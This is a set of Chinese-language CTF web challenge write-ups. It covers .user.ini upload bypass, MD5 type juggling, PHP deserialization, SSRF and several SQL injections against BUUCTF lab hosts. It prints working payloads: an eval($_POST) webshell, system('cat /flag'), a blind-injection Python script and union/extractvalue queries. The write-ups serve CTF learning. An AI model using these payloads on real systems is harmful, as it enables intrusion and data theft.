发现上传成功。文件的内容不能包含`<?`，但可以上传`<script language='php'><scirpt>`类型的图片。既然是黑名单过滤而且可以上传图片马，那我们首先想到的肯定是传一个`.htaccess`上去来将图片马解析为php，而这种方法经过尝试发现失败了。看了一下服务器是**`nginx 1.10.3`**，似乎版本较高，不存在解析漏洞。

todo如何查看`nginx`版本。

References

https://xz.aliyun.com/t/6091

解题关键使用`.user.ini`。查阅php手册`.user.ini`的资料：

References：

https://www.php.net/manual/zh/configuration.file.per-user.php

> `.user.ini` 文件
> 自 `PHP 5.3.0` 起，PHP 支持基于每个目录的 `INI` 文件配置。此类文件 仅被 `CGI / FastCGI SAPI` 处理。此功能使得 `PECL` 的 `htscanner` 扩展作废。如果你的 PHP 以模块化运行在 `Apache` 里，则用 `.htaccess` 文件有同样效果。
> 除了主 `php.ini` 之外，PHP 还会在每个目录下扫描 `INI` 文件，从被执行的 PHP 文件所在目录开始一直上升到 web 根目录（`$_SERVER['DOCUMENT_ROOT']` 所指定的）。如果被执行的 PHP 文件在 web 根目录之外，则只扫描该目录。
> 在 `.user.ini` 风格的 INI 文件中只有具有 `PHP_INI_PERDIR` 和 `PHP_INI_USER` 模式的 `INI` 设置可被识别。
> 两个新的 `INI` 指令， `user_ini.filename` 和 `user_ini.cache_ttl` 控制着用户 `INI` 文件的使用。
> `user_ini.filename` 设定了 PHP 会在每个目录下搜寻的文件名；如果设定为空字符串则 PHP 不会搜寻。默认值是 `.user.ini`。
> `user_ini.cache_ttl` 控制着重新读取用户 `INI` 文件的间隔时间。默认是 300 秒（5 分钟）。

我们可以在`.user.ini`中设置`php.ini`中`PHP_INI_PERDIR`和`PHP_INI_USER`模式的`INI`设置，而且只要是在使用`CGI / FastCGI`模式的服务器上都可以使用`.user.ini`，找到两个有用的设置：`auto_prepend_file`和`auto_append_file`。

todo怎么找到的这两个的？

查阅手册：

- `auto_prepend_file` string

Specifies the name of a file that is automatically parsed before the main file. The file is included as if it was called with the require function, so include_path is used.
The special value `none` disables auto-prepending.

- `auto_append_file` string

Specifies the name of a file that is automatically parsed after the main file. The file is included as if it was called with the require function, so include_path is used.
The special value `none` disables auto-appending.

> Note: If the script is terminated with exit(), auto-append will not occur.

References

https://www.php.net/manual/en/ini.core.php#ini.auto-prepend-file

我们指定一个文件（如`a.jpg`），该文件就会被包含在要执行的php文件中（如`index.php`），类似于在`index.php`中插入一句：`require(./a.jpg);`，这两个设置的区别只是在于**`auto_prepend_file`是在文件前插入；`auto_append_file`**在文件最后插入（当文件调用的有`exit()`时该设置无效）。

上传`.user.ini`，写入：

```
GIF89a
auto_prepend_file=a.jpg
```

网页回显：

```
Your dir uploads/d99081fe929b750e0557f85e6499103f <br>Your files : <br>array(4) {
  [0]=>
  string(1) "."
  [1]=>
  string(2) ".."
  [2]=>
  string(9) ".user.ini"
  [3]=>
  string(9) "index.php"
}
```

说明`uploads`文件夹下有有一个可执行`index.php`文件，这暗示了本题要使用`.user.ini`。

新建文件`a.jpg`，写入：

```
GIF89a
<script language='php'>system('cat /flag');</script>
```

上传。

然后访问url，执行上传路径下的可执行文件`index.php`：

```
http://fef641dc-b356-45f6-939a-dcb08c912fd0.node3.buuoj.cn/uploads/d99081fe929b750e0557f85e6499103f/index.php
```

得到flag，也可以通过

```
GIF89a
<script language="php">eval($_POST['shell']);</script>
```

用蚁剑连接。

`.user.ini`的利用条件：

1. 服务器脚本语言为PHP
2. 服务器使用`CGI / FastCGI`模式
3. 上传目录下要有可执行的php文件

[BJDCTF2020]Easy MD5

进网站只有一个等待输入的文本框，试了一下，`sql`注入没有反应。

没有思路的时候就用burp suite抓一下包。刷新页面后，页面响应：

```
HTTP/1.1 200 OK
Server: openresty
Date: Sat, 20 Mar 2021 02:30:45 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Hint: select * from 'admin' where password=md5($pass,true)
X-Powered-By: PHP/7.3.13
Content-Length: 3107
```

提示为`select * from 'admin' where password=md5($pass,true)`，因此我们需要一个`or`语句，让整个语句恒成立，所以我们要让`md5($pass,true)`，在`password`加密后出现`or`这个词。我们找到了一个密码刚好满足这个特性

```
ffifdyop
```

利用脚本获取符合条件的字符串：

```
<?php
for ($i = 0;;) {
 for ($c = 0; $c < 1000000; $c++, $i++)
  if (stripos(md5($i, true), '\'or\'') !== false)
   echo "\nmd5($i) = " . md5($i, true) . "\n";
 echo ".";
}
?>
```

References

https://www.icode9.com/content-4-663981.html

`ffifdyop`在`md5`加密后若`raw`参数为`True`时会返回`'or'6<trash>`，`<trash>`其实就是一些乱码和不可见字符，这里只要第一位是非零数字即可被判定为`True`，后面的`<trash>`会在`MySQL`将其转换成整型比较时丢掉，此时后端的`SQL`语句会变成：

```
select * from `admin` where password=''or'6<trash>'
```

`or`后面的句子第一个字母是非`0`打头的数字符，比如为`1abc`或者`-1bde`都会被认为是`true`，以`0`开头会认为是`false`。

References

https://blog.nowcoder.net/n/95754e3b877e4c758798430951c44f97

输入`ffifdyop`，点击提交按钮后进入下一关，网页提示`Do You Like MD5?`，按`F12`，发现注释：

```
<!--
$a = $GET['a'];
$b = $_GET['b'];

if($a != $b && md5($a) == md5($b)){
    // wow, glzjin wants a girl friend.
-->
```

`md5`弱类型比较，这里可以用很多字符串绕过：

```
QNKCDZO
0e830400451993494058024219903391

s878926199a
0e545993274517709034328855841020

s155964671a
0e342768416822451524974117254469

s214587387a
0e848240448830537924465865611904

s214587387a
0e848240448830537924465865611904

s878926199a
0e545993274517709034328855841020

s1091221200a
0e940624217856561557816327384675

s1885207154a
0e509367213418206700842008763514

s1502113478a
0e861580163291561247404381396064

s1885207154a
0e509367213418206700842008763514

0e861580163291561247404381396064

s1885207154a
0e509367213418206700842008763514

s1836677006a
0e481036490867661113260034900752

s155964671a
0e342768416822451524974117254469

s1184209335a
0e072485820392773389523109082030

s1665632922a
0e731198061491163073197128363787

s1502113478a
```

```
0e86158016329156124740438139606 4

s1836677006a
0e4810364908676611132600349007 52

s1091221200a
0e940624217856561557816327384675

s155964671a
0e34276841682245152497411725446 9

s1502113478a
0e86158016329156124740438139606 4

s155964671a
0e34276841682245152497411725446 9

s1665632922a
0e73119806149116307319712836378 7

s155964671a
0e34276841682245152497411725446 9

s1091221200a
0e940624217856561557816327384675

s1836677006a
0e4810364908676611132600349007 52

s1885207154a
0e50936721341820670084200876351 4

s532378020a
0e22046309585551150758804120581 5

s878926199a
0e54599327451770903432885584102 0

s1091221200a
0e940624217856561557816327384675

s214587387a
0e84824044883053792446586561190 4

s1502113478a
0e86158016329156124740438139606 4

s1091221200a
0e940624217856561557816327384675

s1665632922a
0e73119806149116307319712836378 7

s1885207154a
0e50936721341820670084200876351 4

s1836677006a
0e4810364908676611132600349007 52
```

```
s1665632922a
0e731198061491163073197128363787

s878926199a
0e545993274517709034328855841020
```

`0e`开头会被解析为科学记数法，但底数为`0`，所以不管`e`后面是什么，最后都会被解析为`0`。

在浏览器输入url：

```
http://faf314f1-b8e3-4e74-bfb8-45cac76785b3.node3.buuoj.cn/levels91.php?a=QNKCDZO&b=s878926199a
```

网页显示php源码：

```php
<?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
    echo $flag;
}
```

由于`md5`解析不了数组，返回空，空===空，所以可以绕过`===`。`md5`函数的参数是一个数组值，会导致函数返回`false`。除了`md5`之外`sha1`函数也有这个特性。

References

https://blog.csdn.net/qq_44105778/article/details/89817842

https://my.oschina.net/u/4859962/blog/4756106

用`HackBar`发送post请求，post的Body部分为：

```
param1[]=a&param2[]=b
```

点击`EXECUTE`，得到flag。

也可以用Burp Suite构造请求获得flag：

```
POST /level114.php HTTP/1.1
Host: faf314f1-b8e3-4e74-bfb8-45cac76785b3.node3.buuoj.cn
Content-Length: 29
Cache-Control: max-age=0
Origin: http://faf314f1-b8e3-4e74-bfb8-45cac76785b3.node3.buuoj.cn
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90
 Safari/537.36 Edg/89.0.774.54
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed
-exchange;v=b3;q=0.9
Referer: http://faf314f1-b8e3-4e74-bfb8-45cac76785b3.node3.buuoj.cn/level114.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,en-GB;q=0.6
Connection: close

param1%5B%5D=a&param2%5B%5D=b
```

最简化的请求：

```
POST /level14.php HTTP/1.1
Host: faf314f1-b8e3-4e74-bfb8-45cac76785b3.node3.buuoj.cn
Content-Type: application/x-www-form-urlencoded
Content-Length: 29

param1%5B%5D=a&param2%5B%5D=b
```

`param1[]=a&param2[]=b` 一定要进行url编码。

[ZJCTF 2019]NiZhuanSiWei

DATA URI Scheme

data:①[<mime type>]②[;charset=<charset>]③[;<encoding>]④,<encoded data>⑤

① `data`: 协议名称

② `[<mime type>]` 可选项，数据类型（`image/png`、`text/plain`等）

③ `[;charset=<charset>]` 可选项，源文本的字符集编码方式

④ `[;<encoding>]` 数据编码方式（默认`US-ASCII`，`BASE64`两种）

⑤ `,<encoded data>` 编码后的数据

注意：

- `[<mime type>][;charset=<charset>]` 的缺省值为`HTTP Header`中`Content-Type`的字段值
- `[;<encoding>]` 的默认值为`US-ASCII`，就是每个字符会编码为`%xx`的形式
- `[;charset=<charset>]` 对于IE是无效的，需要通过 `charset` 设置编码方式；而`Chrome`则是 `charset` 属性设置编码无效，要通过 `[;charset=<charset>]` 来设置；`FF`就两种方式均可
- 若 `,<encoded data>` 不是以 `[;<encoding>]` 方式编码后的数据，则会报异常

References

https://www.cnblogs.com/fsjohnhuang/p/3903688.html

打开网页显示源码：

```php
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit();
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?>
```

`data`协议通常是用来执行PHP代码，然而我们也可以将内容写入`data`协议中然后让`file_get_contents`函数取读取。当然也可以不需要`base64`，但是一般为了绕过某些过滤都会用到`base64`，输入：

```
http://c0ddda13-7810-4709-9c78-4a14e5858cfd.node3.buuoj.cn/?text=data://text/plain,welcome to the zjctf
```

或者

```
http://c0ddda13-7810-4709-9c78-4a14e5858cfd.node3.buuoj.cn/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgem
pjdGY=
```

网页提示：

```
welcome to the zjctf
```

`php://filter`用于读取源码，`php://input`用于执行php代码，因为是php文件，我们想看到内容就需要`php://filter`伪协议，尝试以`base64`编码读取`useless.php`内容。

输入url：

```
http://6c89ee25-1593-4f0c-8d6f-7ee5d6547052.node3.buuoj.cn/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgem
pjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php
```

输出：

```
PD9waHAgIAoKY2xhc3MgRmxhZ3sgIC8vZmxhZy5waHAgIAogICAgcHVibGljICRmaWxlOyAgCiAgICBwdWJsaWMgZnVuY3Rpb24gX190b3N0cmlu
ZygpeyAgCiAgICAgICAgaWYoaXNzZXQoJHRoaXMtPmZpbGUpKXsgIAogICAgICAgICAgICBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5m
aWxlKTsgCiAgICAgICAgICAgIGVjaG8gIjxicj4iOwogICAgICAgIHJldHVybiAoIlUgUiBTTyBDTE9TRSAhLy8vQ09NRSBPTiBQTFoiKTsKICAg
ICAgICB9ICAKICAgIH0gIAp9ICAKPz4gIAo=
```

`base64`解码：

```php
<?php

class Flag{  //flag.php
    public $file;
    public function __tostring(){
        if(isset($this->file)){
            echo file_get_contents($this->file);
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }
    }
}
?>
```

这里定义了`Flag`类，里面有`__tostring`魔术方法，这个魔术方法是在类被当成字符串的时候调用，然后获取`file`的值并输出，这里也提醒了我们`flag.php`。包含`useless.php`文件后，对`$password`进行了反序列化，让`$password`反序列化出`Flag`类，因为`$password`被当做字符串输出，所以会调用`__tostring`魔术方法，然后会输出`file`也就是`flag.php`的内容。
下面构造php反序列化的值：

```php
<?php

class Flag{  //flag.php
    public $file = "flag.php";
    public function __tostring(){
        if(isset($this->file)){
            echo file_get_contents($this->file);
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }
    }
}
$file = new Flag();
echo serialize($file);
?>
```

运行结果：

```
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
```

reference

https://www.codenong.com/cs105658845/

输入url：

```
http://c0ddda13-7810-4709-9c78-4a14e5858cfd.node3.buuoj.cn/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgem
pjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
```

这里不需要再用`php://filter`协议，因为我们已经知道了`useless.php`的内容，直接`file=useless.php`就行了。

网页提示：

```
welcome to the zjctf

oh u find it

U R SO CLOSE !///COME ON PLZ
```

按`F12`，查看源代码：

```
<br><h1>welcome to the zjctf</h1></br>
<br>oh u find it </br>

<!--but i cant give it to u now-->

<?php

if(2===3){
 return ("flag{f96ab9cc-fa07-426d-8eb6-dd72066fe034}");
}

?>
<br>U R SO CLOSE !///COME ON PLZ
```

得到flag。

[CISCN2019 华北赛区 Day2 Web1]Hack World

进入网页，发现：

```
All You Want Is In Table 'flag' and the column is 'flag'
Now, just give the id of passage

Do you want to be my girlfriend?
```

告诉了我们表名与列名，所以sql查询语句是：

```
select flag from flag
```

输入这条语句，发现被检测到sql注入，所以猜测是空格被过滤，调整语句，用括号绕过空格：

```
select(flag)from(flag)
```

References

https://www.cnblogs.com/Vinson404/p/7253255.html

这次输入正常返回查询结果`bool(false)`。

- 输入`1`返回`Hello, glzjin wants a girlfriend.`
- 输入`2`返回`Do you want to be my girlfriend?`
- 输入`1%2`返回`Hello, glzjin wants a girlfriend.`
- 输入其他数值 返回`error`

思路就是利用`if(expr1,expr2,expr3)`。

- 如果`expr1`的值为`true`，则执行`expr2`语句，
- 如果`expr1`的值为`false`，则执行`expr3`语句。

这道题的原理是`exp1`的值为`true`，则执行`expr2`语句，`expr2`设置成`1`，传给`id`，这条记录一定会返回`Hello, glzjin wants a girlfriend.`。

如果`expr1`的值为`false`，则返回`2`，因为将`expr3`设置成`2`，网页会返回`Do you want to be my girlfriend?`。

基于返回的文字不一样，我们就可以知道`expr1`到底是返回`true`，还是`false`。

这里用二分搜索实现，python代码：

```
import requests
url = 'http://1929c408-8b82-4b06-8f8d-381124ecccd8.node3.buuoj.cn/index.php'
data = {"id": ""}
flag = ''
i = 1
while True:
    begin = 32 # 从第一个可显示的字符开始
    end = 126
    mid = (begin + end) // 2 #取整除，返回商的整数部分（向下取整）
    while begin < end:
        # print(begin, mid, end)
        data["id"] = "if(ascii(substr((select(flag)from(flag)),{},1))>{},1,2)".format(i, mid)
        r = requests.post(url, data = data)
        if 'Hello' in r.text:
            begin = mid + 1
        else:
            end = mid
        mid = (begin + end) // 2
    flag += chr(mid)
    i += 1
    print(flag)
    if flag[-1] == '}':
        break
```

`ascii(str)`函数:

> 返回字符串`str`的最左面字符的`ASCII`代码值。如果`str`是空字符串，返回`0`。如果`str`是`NULL`，返回`NULL`

当然也可以用异或实现。

References

https://www.jianshu.com/p/b7a03e98357e

这道题的源码：

```php
<?php
$dbuser='root';
$dbpass='root';

function safe($sql){
    #被过滤的内容 函数基本没过滤
    $blackList = array(' ','||','#','-',';','&','+','or','and','`','"','insert','group','limit','update','delete
','*','into','union','load_file','outfile','./');
    foreach($blackList as $blackitem){
        if(stripos($sql,$blackitem)){
            return False;
        }
    }
    return True;
}
if(isset($_POST['id'])){
    $id = $_POST['id'];
}else{
    die();
}
$db = mysql_connect("localhost",$dbuser,$dbpass);
if(!$db){
    die(mysql_error());
}
mysql_select_db("ctf",$db);

if(safe($id)){
    $query = mysql_query("SELECT content from passage WHERE id = ${id} limit 0,1");

    if($query){
        $result = mysql_fetch_array($query);

        if($result){
            echo $result['content'];
        }else{
            echo "Error Occured When Fetch Result.";
        }
    }else{
        var_dump($query);
    }
}else{
    die("SQL Injection Checked.");
}
```

References

https://blog.nowcoder.net/n/6288b736b7134cccadd1ff966ed74801

[极客大挑战 2019]HardSQL

todo为什么在输入框里面注入不成功？在地址栏里面用`#`不行，一定要用`%23`？

经过测试，本题过滤了：`=`，`空格`，`大于号小于号`，所以使用`()`来代替`空格`，使用`like`来代替`=`号。

References

https://segmentfault.com/a/1190000022537460

https://p3rh4ps.top/index.php/2019/12/28/19-12-28-极客大挑战-hardsql/

查询数据库，输入url：

```
http://42e26ee7-32fa-4f1a-9b04-8c93dc3ac2e0.node3.buuoj.cn/check.php?username=1&password=1'or(extractvalue(1,concat(0x7e,(select(database())))))%23
```

网页回显：

```
Error!

XPATH syntax error: '~geek'
```

查询数据库`geek`中的表：

```
http://42e26ee7-32fa-4f1a-9b04-8c93dc3ac2e0.node3.buuoj.cn/check.php?username=1&password=1'or(extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like(database()))))))%23
```

或者

```
http://42e26ee7-32fa-4f1a-9b04-8c93dc3ac2e0.node3.buuoj.cn/check.php?username=1&password=1'or(extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like('geek'))))))%23
```

网页回显：

```
Error!

XPATH syntax error: '~H4rDsq1'
```

查询数据库`geek`中表`H4rDsq1`中所有字段：

```
http://42e26ee7-32fa-4f1a-9b04-8c93dc3ac2e0.node3.buuoj.cn/check.php?username=1&password=1'or(extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where((table_name)like('H4rDsq1'))))))%23
```

网页回显：

```
Error!

XPATH syntax error: '~id,username,password'
```

查询数据库`geek`中`H4rDsq1`表中`password`字段的值

```
http://42e26ee7-32fa-4f1a-9b04-8c93dc3ac2e0.node3.buuoj.cn/check.php?username=1&password=1'or(extractvalue(1,concat(0x7e,(select(password)from(H4rDsq1)))))%23
```

网页回显：

```
Error!

XPATH syntax error: '~flag{c5c25ff7-0f60-4c69-a502-e9'
```

`extractvalue()`能查询字符串的最大长度为32，如果结果超过32，就需要用`substring()`函数截取或者`right()`函数。

References

https://blog.csdn.net/zpy1998zpy/article/details/80631036

查看flag后半段：

```
http://42e26ee7-32fa-4f1a-9b04-8c93dc3ac2e0.node3.buuoj.cn/check.php?username=1&password=1'or(extractvalue(1,concat(0x7e,right((select(password)from(H4rDsq1)),31))))%23
```

网页回显：

```
Error!

XPATH syntax error: '~f7-0f60-4c69-a502-e90850b1697d}'
```

拼接得到完整flag。

[网鼎杯 2018]Fakebook

一般的解题流程

- 观察网页
  - 有登录文本框→存在sql注入
- F12查看源码
- web目录扫描，用自己写一个字典
  - 看看有没有`robots.txt`
    - 看看有没有`/user.php.bak`
- 用Burp Suite拦截查看响应

用自己写的字典用`dirsearch`扫描目录，发现存在`robots.txt`文件

用url访问：

```
http://101b2412-2a1c-461e-a536-812755c6b3f8.node3.buuoj.cn/robots.txt
```

网页显示：

```
User-agent: *
Disallow: /user.php.bak
```

发现`/user.php.bak`文件，用url访问：

```
http://101b2412-2a1c-461e-a536-812755c6b3f8.node3.buuoj.cn/user.php.bak
```

`bak`文件属于备份文件，下载后打开发现源代码：

```php
<?php

class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog
);
    }

}
```

一个`UserInfo`类，类对象有三个属性：`name,age,blog`。还有三个函数：

- `get()`

`get`方法通过`curl`发送请求（`curl`是一个利用url语法工作的传输工具，此例中的使用，即获得指定url的页面内容。详细内容，请自行查阅补充），且并未对参数url进行过滤，没有对用户可控参数过滤。

- `isValidBlog()`

`isValidBlog`函数是对`blog`参数进行的正则匹配，猜测对用户的输入格式进行了一定的限制。

- `getBlogContents()`

函数调用了`get`函数，把`userinfo`类中的`blog`参数当做一个URL，得到请求内容。而页面里`iframe`里的`src`根据得到的内容进行页面渲染。

注册后，可以点开自己的名字，然后会显示自己的详细信息，包括名字，年龄，`blog`地址。这时地址栏为：

```
http://101b2412-2a1c-461e-a536-812755c6b3f8.node3.buuoj.cn/view.php?no=1
```

发现存在`sql`注入，试一下：

```
http://101b2412-2a1c-461e-a536-812755c6b3f8.node3.buuoj.cn/view.php?no=0
```

发现页面报错：

Untitled

---

the contents of his/her blog

Fatal error : Call to a member function getBlogContents() on boolean in **/var/www/html/view.php** on line **67**

发现页面地址为**`/var/www/html/view.php`，所以我们可以猜测`flag.php`的地址为`/var/www/html/flag.php`**

sql注入先判断字段数：

```
view.php?no=1 order by 3#
view.php?no=1 order by 4#
view.php?no=1 order by 5# 报错
```

所以字段数为4。

判断回显位置，观察哪个字段可以利用：

```
http://101b2412-2a1c-461e-a536-812755c6b3f8.node3.buuoj.cn/view.php?no=0 union select 1,2,3,4#
```

发现被过滤，报错：

```
no hack ~_~
```

尝试后发现`union select`整体被过滤，所以用`/**/`代替空格绕过过滤：

```
http://101b2412-2a1c-461e-a536-812755c6b3f8.node3.buuoj.cn/view.php?no=0 union/**/select 1,2,3,4#
```

没有`#`也可以，页面显示：

Notice: unserialize(): Error at offset 0 of 1 bytes in**/var/www/html/view.php** on line **31**

Untitled

---

the contents of his/her blog

Fatal error: Call to a member function getBlogContents() on boolean in **/var/www/html/view.php** on line **67**

说明`username`是回显位置，查看当前数据库用户：

```
view.php?no=2 union++select 1,user(),3,4#
```

网页显示：

```
username
root@localhost
```

当前用户拥有最高权限，查看当前数据库名称：

```
view.php?no=2 union++select 1,database(),3,4#
```

网页显示：

```
username
fakebook
```

方法一

`mysql`中的`load_file`函数，允许访问系统文件，并将内容以字符串形式返回，不过需要的权限很高，且函数参数要求文件的绝对路径。条件全都满足：

```
view.php?no=2 union/**/select 1,load_file("/var/www/html/flag.php"),3,4#
```

按`F12`打开源代码，发现flag。

方法二

不用`load_file`函数，正常查表，列，查看表名：

```
view.php?no=2 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema="
fakebook"#
```

显示表名为`users`，查询列名：

```
view.php?no=2 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema
='fakebook' and table_name='users'
```

显示列名为`no,username,passwd,data`，前三个都知道，最后一个`data`不知道是什么，所以查询`data`：

```
view.php?no=0 union/**/select 1,group_concat(data),3,4 from users where no=1#
```

网站显示：

```
O:8:"UserInfo":3:{s:4:"name";s:1:"m";s:3:"age";i:20;s:4:"blog";s:9:"baidu.com";}
```

是序列化后的`UserInfo`对象，结合源代码里面的：

```
function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }
```

审计源码发现其中`get()`函数存在`SSRF`(服务端请求伪造)漏洞。`getBlogContents`函数调用了`get`函数，把`userinfo`类中的`blog`参数当做一个`URL`，得到请求内容。而页面里`iframe`里的`src`根据得到的内容进行页面渲染。所以我们可以在`blog`参数里放入`flag.php`的路径，由`getBlogContents`访问这个文件，就能得到flag，输入：

```
view.php?no=0 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:20;s:4:"blog";s:29:"file:/
//var/www/html/flag.php";}'
```

查看源码：

```
<iframe width='100%' height='10em' src='data:text/html;base64,PD9waHANCg0KJGZsYWcgPSAiZmxhZ3tkNzFhMTc3ZC02OWFlLT
Q3NjUtOWRiOS1hNmFiMjUwNDQwMDR9IjsNCmV4aXQoMCk7DQo='>
```

发现`base64`编码，解码后：

```
<?php

$flag = "flag{d71a177d-69ae-4765-9db9-a6ab25044004}";
exit(0);
```

得到flag。

References

https://blog.csdn.net/qq_42196196/article/details/81952174

https://blog.csdn.net/qq_41500251/article/details/105383065

[GXYCTF2019]BabySQli

进入网站是一个登录页面，随便输入一个账号密码，用BurpSuite拦截，发现注释：

```
MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5
```

用`base32`+`base64`解码后：

```
select * from user where username = '$name'
```

判断列数：

```
1' union select 1,2#报错
1' union select 1,2,3#
1' union select 1,2,3,4#报错
```

所以有三列。

```
1' union select 1,2,3 #      回显wrong user!，说明用户不在第一列
1' union select 1,'admin',3# 回显wrong pass!，得到用户名在第二列
```

这里利用联合查询的特性当查询的数据不存在的时候，联合查询就会构造一个虚拟的数据，输入：

```
select * from user union select 2,'admin',md5(123);
```

数据库会增加一条：

```
id username password
2  admin    202cb962ac59075b964b07152d234b70
```

用联合查询来创建一行`admin`账户的续集数据，混淆`admin`用户的密码，将我们自定义的`admin`用户的密码（`123`）加进去，这样就可以登录`admin`用户了，在用户名处输入：

```
1' union select 1,'admin','202cb962ac59075b964b07152d234b70'#
```

`202cb962ac59075b964b07152d234b70`为`123`的`md5`加密值，尝试发现过滤了括号，所以不能用`md5()`函数。在密码处输入我们自定义的密码`123`，构造请求：

```
POST /search.php HTTP/1.1
Host: e36a298b-ec74-4687-bf89-e751aadd228e.node3.buuoj.cn
Content-Length: 73
Cache-Control: max-age=0
Origin: http://e36a298b-ec74-4687-bf89-e751aadd228e.node3.buuoj.cn
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90
 Safari/537.36 Edg/89.0.774.57
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed
-exchange;v=b3;q=0.9
Referer: http://e36a298b-ec74-4687-bf89-e751aadd228e.node3.buuoj.cn/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,en-GB;q=0.6
Connection: close

name=1' union select 1,'admin','202cb962ac59075b964b07152d234b70'#&pw=123
```

即可绕过检验，成功登陆`admin`账户，得到flag。

References

https://blog.csdn.net/qq_45521281/article/details/107167452

[网鼎杯 2020 青龙组]AreUSerialz

打开网页发现源码：

```
<?php

include("flag.php");
```

```php
highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }
```

```
}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}
```

主要是绕过 `is_vaild` 函数,它规定了序列化内容中只能包含 `ascii` 可见字符，如果出现其他的字符则会返回 `false` 。

```
function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}
```

我们的重点是调用 `read` 函数，读取flag文件，而 `read` 函数由 `process` 函数在 `op=="2"` 弱比较时调用，而 `process` 函数由 `__destruct()` 魔术方法调用，并且不能让在 `__destruct()` 函数里面的 `$this->op === "2"` 条件成立。成立的话会修改 `op` 的值，导致 `process` 判断 `op=="2"` 弱比较时不成立，不能成功调用 `read` 函数，所以我们要想办法让 `op=="2"` 成立的同时，让 `op === "2"` 不成立，由于 `==` 是弱比较， `===` 是强比较，所以我们可以让 `op=2` 这个数值，就能成功绕过。

